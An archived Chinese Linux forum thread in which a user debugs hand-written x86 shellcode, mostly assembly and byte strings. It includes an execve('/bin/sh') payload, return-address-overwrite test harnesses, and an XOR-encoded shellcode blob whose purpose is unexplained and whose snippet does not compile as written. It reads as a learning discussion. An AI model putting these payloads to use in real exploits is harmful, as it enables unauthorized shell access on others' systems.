Chinaunix

标题: linux汇编问题 [打印本页]

作者: stevens_wu    时间: 2007-07-02 11:27
标题: linux汇编问题
最近写了一个linux内联汇编代码
#include <stdio.h>
int main(){
        __asm__("jmp 0x2a\n\t"
                "popl %esi\n\t"
                "movl %esi,0x8(%esi)\n\t"
                "xorl %eax,%eax\n\t"
                "movl %eax,0x7(%esi)\n\t"
                "movl %eax,0xc(%esi)\n\t"
                "movl %esi,%ebx\n\t"
                "movb $0xb,%al\n\t"
                "leal 0x8(%esi),%ecx\n\t"
                   "leal 0xc(%esi),%edx\n\t"
                "int $0x80\n\t"
                "xorl %ebx,%ebx\n\t"
                "movl %ebx,%eax\n\t"
                "inc  %eax\n\t"
                  "int $0x80\n\t"
                "call -0x1f\n\t"
                ".string \"/bin/sh\""
        );
}
#gdb a.out
(gdb)disassembly main
                                push %ebp
                mov %esp,%ebp
                sub $0x8,%esp
                and $0xfffffff0,%esp
                mov $0x0,%eax
                add $0xf,%eax
                add $0xf,%eax
                shr $0x4,%eax
                shl $0x4,%eax
                  sub %eax,%esp
                jmp 0x4
                popl %esi
                mov %esi,0x8(%esi)
                xor %eax,%eax
                mov %eax,0x7(%esi)
                mov %eax,0xc(%esi)
                movl %esi,%ebx
                movb $0xb,%al
                lea 0x8(%esi),%ecx
                   lea 0xc(%esi),%edx
                int $0x80
                xor %ebx,%ebx
                mov %ebx,%eax
                inc  %eax
                  int $0x80
                call 0x4
                das
                bound %ebp,0x6e(%ecx)
                das
                jae 0x80483e8 <__libc_csu_fini+16>
                add %cl,%cl
                ret
为什么在gdb汇编代码中jmp 的地址和call的地址都成了0x4?真是奇怪了
作者: W.Z.T    时间: 2007-07-02 12:01
又是shellcoder。。。
作者: stevens_wu    时间: 2007-07-03 18:16
我对代码作了一些改动
#include <stdio.h>
int main(){
        __asm__("jmp .label2\n\t"
                ".label1:\n\t"
                "popl %esi\n\t"
                "movl %esi,0x8(%esi)\n\t"
                "xorl %eax,%eax\n\t"
                "movl %eax,0x7(%esi)\n\t"
                "movl %eax,0xc(%esi)\n\t"
                "movl %esi,%ebx\n\t"
                "movb $0xb,%al\n\t"
                "leal 0x8(%esi),%ecx\n\t"
                   "leal 0xc(%esi),%edx\n\t"
                "int $0x80\n\t"
                "xorl %ebx,%ebx\n\t"
                "movl %ebx,%eax\n\t"
                "inc  %eax\n\t"
                  "int $0x80\n\t"
                ".label2:\n\t"
                "call .label1\n\t"
                ".string \"/bin/sh\""
        );
}
使用gdb得到shellcode后,测试代码如下:
#include <stdio.h>

char shellcode[]=
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46"
        "\x07\x89\x46\x0c\x89\xf3\xb0\x0b\x8d\x4e"
        "\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
        "\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62"
        "\x69\x6e\x2f\x73\x68\x00\xc9\xc3";
int main(){
        int *ret;
        ret=(int*)&ret+4;
        (*ret)=(int)shellcode;
}
执行后发现没有任何反应
[root@localhost]#./a.out
[root@localhost]#
感觉是shellcode编写错误了,请大家帮我看看哪里出了问题,谢谢!
作者: tmp    时间: 2007-07-03 18:43
ps看一下是不是多了一个进程,不行的话试试我签名里的内容
作者: stevens_wu    时间: 2007-07-03 19:46
原帖由 tmp 于 2007-7-3 18:43 发表
ps看一下是不是多了一个进程,不行的话试试我签名里的内容

抱歉,好像返回地址也出现了问题,我把代码按照你的签名修改了一下,如下
#include <stdio.h>
char shellcode[]=
        "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59"
        "\xb2\x04\xcd\x80\x31\xc0\xb0\x01\x21\xdb\xcd\x80\xe8\xe2\xff"
        "\xff\xff\x66\x75\x63\x6b";

int main(){
        int *ret;
        ret=(int*)&ret+2;
        (*ret)=(int)shellcode;
}
红色的字体代表改动的部分
执行后提示Segment Fault(core dump)
环境是Red Hat Enterprise Linux 4.0+gcc 3.4.3
作者: baohuaihuai    时间: 2007-07-03 23:26
顺便问一下,哪里有shellcode的入门文章或者教程..
作者: tmp    时间: 2007-07-04 12:09
首先你的汇编代码写的就有问题,编译候执行也没有效果
作者: stevens_wu    时间: 2007-07-05 20:55
应该是shellcode的问题,我更换了shellcode之后就可以用了,只是我不太明白为什么前面写的shellcode不能用
#include<stdio.h>                                                                    
                                                                              
char hell[] =                                                                  
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x88\x80\x36\x
2\x46\xe2\xfa"                                                                 
"\xe9\x12\x2d\x60\x6b\x6c\x2d\x71\x6a\x02\x51\x6a\x67\x6e\x6e\x23"            
"\x08\x02\x83\xee\x65\x29\x02\x02\x57\x8b\xe7\x81\xee\x0a\x55\x54\x51\xea\x02"
"\x02\x02\x02\x59\x83\xc1\xd0\x12\x02\x02\xc5\x47\xfa\x02\x02\x02\x02\xc5\x47"
"\xfe\x02\x02\x02\x02\x8f\xb9\x08\xed\xfd\xfd\x8b\x7f\xfa\x8f\x89\x10\xed\xfd"
"\xfd\xba\x06\x02\x02\x02\xbc\x03\x02\x02\x02\xb8\x05\x02\x02\x02\x51\x8b\xf1"
"\xcf\x82\x8f\x4f\xfa\xba\x09\x02\x02\x02\x8b\xfc\x33\xd0\x51\x8b\xf1\xcf\x82"
"\x33\xc2\x8f\x67\xee\x59\x5c\x5d\xcb\xc1\x92\x92\x92\x92\x92\x92\x92\x92\x92"
"\x92\x92\x92\x92\x92\x92";                                                   
int main()                                                                     
{                                                                              
       int *ret;
        ret=(int*)&ret+2;
        (*ret)=(int)shellcode;
}
作者: stevens_wu    时间: 2007-07-05 21:36
原帖由 tmp 于 2007-7-4 12:09 发表
首先你的汇编代码写的就有问题,编译候执行也没有效果

我更换了环境以后就可以用你签名的shellcode
#include <stdio.h>
char shellcode[]=
        "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59"
        "\xb2\x04\xcd\x80\x31\xc0\xb0\x01\x21\xdb\xcd\x80\xe8\xe2\xff"
        "\xff\xff\x66\x75\x63\x6b";
int main(){
        int *ret;
        ret=(int*)&ret+2;
        (*ret)=(int)shellcode;
}
#gcc shellcode.c
#./a.out
fuck
看来和环境也有关系,我现在用的系统是Turbolinux 7+gcc 2.95

[ 本帖最后由 stevens_wu 于 2007-7-5 21:43 编辑 ]
作者: stevens_wu    时间: 2007-07-05 21:52
什么方法可以把shellcode转成汇编?
作者: stevens_wu    时间: 2007-07-08 09:51
可能是高版本的gcc对内联汇编支持不太好,还是要直接用汇编来写shellcode,但没有发现比较完整的AT&T汇编教程,想系统地学习一下。
作者: tmp    时间: 2007-07-08 10:17
这些东西太麻烦了,我以前也想好好学学,后来还是放弃了,年纪大了。。。
还是直接去网上生成吧   metasploit.com




欢迎光临 Chinaunix (http://bbs.chinaunix.net/) Powered by Discuz! X3.2